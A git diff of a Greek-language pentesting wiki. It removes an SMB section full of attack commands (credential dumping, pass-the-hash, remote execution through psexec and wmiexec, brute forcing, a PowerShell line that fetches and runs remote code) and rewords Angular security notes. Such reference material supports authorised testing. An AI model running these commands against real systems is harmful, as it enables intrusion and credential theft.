φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία) -- recurse: ενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη) -- prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη) -- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον διακομιστή στη μηχανή του πελάτη - -(_Πληροφορίες από τη σελίδα man του smbclient_) - -### Αναζήτηση Κοινών Φακέλων Τομέα - -- [**Snaffler**](https://github.com/SnaffCon/Snaffler) -```bash -Snaffler.exe -s -d domain.local -o snaffler.log -v data -``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) αράχνη. -- `-M spider_plus [--share ]` -- `--pattern txt` -```bash -sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' -``` -Ιδιαίτερα ενδιαφέρον από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. - -- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) -- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` -- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` - -> [!NOTE] -> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\ -> Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. - -## Ανάγνωση Μητρώου - -Μπορεί να είστε σε θέση να **διαβάσετε το μητρώο** χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε: -```bash -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s -``` -## Post Exploitation - -Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: - -| **Ρύθμιση** | **Περιγραφή** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | -| `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; | -| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; | -| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; | -| `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; | -| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; | -| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; | -| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; | -| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | -| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | - -Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**. - -## Authenticate using Kerberos - -Μπορείτε να **αυθεντικοποιηθείτε** στο **kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**: -```bash -smbclient --kerberos //ws01win10.domain.com/C$ -rpcclient -k ws01win10.domain.com -``` -## **Εκτέλεση Εντολών** - -### **crackmapexec** - -crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: -```bash -apt-get install crackmapexec - -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd -crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash -# Using --exec-method {mmcexec,smbexec,atexec,wmiexec} - -crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM -crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes -crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( -crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users -crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks -crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users -crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups -crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups -crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy -crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute - -crackmapexec smb -d -u Administrator -H #Pass-The-Hash -``` -### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) - -Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στη μηχανή του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα επιχειρήματα το payload --**file-less technique-**-).\ -**Περισσότερες πληροφορίες** σχετικά με [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)και [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ -Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ -```bash -#If no password is provided, it will be prompted -./psexec.py [[domain/]username[:password]@] -./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -psexec \\192.168.122.66 -u Administrator -p 123456Ww -psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash -``` -Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM** - -### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec - -Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ -Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ -```bash -#If no password is provided, it will be prompted -./wmiexec.py [[domain/]username[:password]@] #Prompt for password -./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM** -```bash -#If no password is provided, it will be prompted -./dcomexec.py [[domain/]username[:password]@] -./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -### [AtExec](../windows-hardening/ntlm/atexec.md) - -Εκτέλεση εντολών μέσω του Προγραμματιστή Εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\ -Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ -```bash -./atexec.py [[domain/]username[:password]@] "command" -./atexec.py -hashes administrator@10.10.10.175 "whoami" -``` -## Impacket αναφορά - -[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) - -## **Bruteforce διαπιστευτήρια χρηστών** - -**Αυτό δεν συνιστάται, μπορεί να αποκλείσετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες** -```bash -nmap --script smb-brute -p 445 -ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name -``` -## SMB relay attack - -Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ -[**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - -## SMB-Trap - -Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον υπολογιστή όταν μια σελίδα προσπαθεί να αποκτήσει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"` - -Αυτό συμβαίνει με τις συναρτήσεις: - -- URLDownloadToFile -- URLDownloadToCache -- URLOpenStream -- URLOpenBlockingStream - -Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype) - -![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) - -### SMBTrap using MitMf - -![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) - -## NTLM Theft - -Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack). - -[Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) - -## HackTricks Automatic Commands -``` -Protocol_Name: SMB #Protocol Abbreviation if there is one. -Port_Number: 137,138,139 #Comma separated if there is more than one. -Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out - -Entry_1: -Name: Notes -Description: Notes for SMB -Note: | -While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. - -#These are the commands I run in order every time I see an open SMB port - -With No Creds -nbtscan {IP} -smbmap -H {IP} -smbmap -H {IP} -u null -p null -smbmap -H {IP} -u guest -smbclient -N -L //{IP} -smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 -rpcclient {IP} -rpcclient -U "" {IP} -crackmapexec smb {IP} -crackmapexec smb {IP} --pass-pol -u "" -p "" -crackmapexec smb {IP} --pass-pol -u "guest" -p "" -GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all -GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat -GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" -getArch.py -target {IP} - -With Creds -smbmap -H {IP} -u {Username} -p {Password} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` -crackmapexec smb {IP} -u {Username} -p {Password} --shares -GetADUsers.py {Domain_Name}/{Username}:{Password} -all -GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat -GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request - -https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html - -Entry_2: -Name: Enum4Linux -Description: General SMB Scan -Command: enum4linux -a {IP} - -Entry_3: -Name: Nmap SMB Scan 1 -Description: SMB Vuln Scan With Nmap -Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} - -Entry_4: -Name: Nmap Smb Scan 2 -Description: SMB Vuln Scan With Nmap (Less Specific) -Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} - -Entry_5: -Name: Hydra Brute Force -Description: Need User -Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb - -Entry_6: -Name: SMB/SMB2 139/445 consolesless mfs enumeration -Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole -Note: sourced from https://github.com/carlospolop/legion -Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' - -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index be7f87266..7593a8c68 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,24 +1,26 @@ # Angular +{{#include /banners/hacktricks-training.md}} + ## The Checklist Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή * [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου -* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαμεσολαβείται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα +* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα * [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη * [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή * [ ] Οι μέθοδοι `BypassSecurity*` δεν χρησιμοποιούνται με μη αξιόπιστη είσοδο -* [ ] Η μη αξιόπιστη είσοδος χρήστη δεν μεταβιβάζεται σε κλάσεις Angular όπως `ElementRef`, `Renderer2` και `Document`, ή άλλες πηγές JQuery/DOM +* [ ] Η μη αξιόπιστη είσοδος χρήστη δεν περνά σε κλάσεις Angular όπως `ElementRef`, `Renderer2` και `Document`, ή άλλες πηγές JQuery/DOM ## What is Angular -Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παρατηρήσεις σημαντικές από **και τις δύο πλευρές**. +Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παρατηρήσεις ασφαλείας σημαντικές από **και τις δύο πλευρές**. ## Framework architecture -Για να κατανοήσουμε καλύτερα τα βασικά του Angular, ας περάσουμε από τις βασικές του έννοιες. +Για να κατανοήσουμε καλύτερα τις βασικές έννοιες του Angular, ας περάσουμε από τις βασικές του έννοιες. Ένα κοινό έργο Angular συνήθως φαίνεται έτσι: ```bash @@ -41,15 +43,15 @@ my-workspace/ ``` Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. -Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. +Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή περιέχει συνήθως πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. -Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. +Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. ## Ρύθμιση sourcemap -Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή: +Το πλαίσιο Angular μεταφράζει τα αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή: ```json "sourceMap": { "scripts": true, @@ -58,9 +60,9 @@ my-workspace/ "hidden": false } ``` -Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα. +Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν είναι ενεργοποιημένα τα sourcemaps, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα. -Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά την κατασκευή του έργου όπως `ng build --source-map`. +Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά τη διάρκεια της κατασκευής του έργου όπως `ng build --source-map`. ## Δεσμεύσεις δεδομένων @@ -68,24 +70,24 @@ my-workspace/ Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων: -* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _ατομικά χαρακτηριστικά_, _κλάσεις_ και _στυλ_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; +* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _attributes_, _classes_ και _styles_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; * Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο; * Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. -Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: +Η δέσμευση μπορεί να κληθεί σε ιδιότητες, γεγονότα και attributes, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: | ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ | | -------- | ------------------------------------------------------- | ------------------------------------------------------------------ | -| Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \ | +| Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \ | | Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \ ``` -Η διαδικασία εκμετάλλευσης είναι πανομοιότυπη για τα παρακάτω σενάρια. +Η διαδικασία εκμετάλλευσης είναι ταυτόσημη για τα παρακάτω σενάρια. * `window.location.assign()`(και `document.location.assign()`) Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης. @@ -481,9 +483,9 @@ window.location.assign("https://google.com/about") ``` * `window.location.replace()`(και `document.location.replace()`) -Αυτή η μέθοδος αντικαθιστά την τρέχουσα πηγή με αυτήν που βρίσκεται στη διεύθυνση URL που παρέχεται. +Αυτή η μέθοδος αντικαθιστά τον τρέχοντα πόρο με αυτόν στη δεδομένη διεύθυνση URL. -Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στο ιστορικό της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο. +Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο. ```tsx //app.component.ts @@ -496,7 +498,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει την πηγή που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης. +Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία να ενεργοποιηθεί μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης. ```tsx //app.component.ts @@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Angular classes -* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το DOM 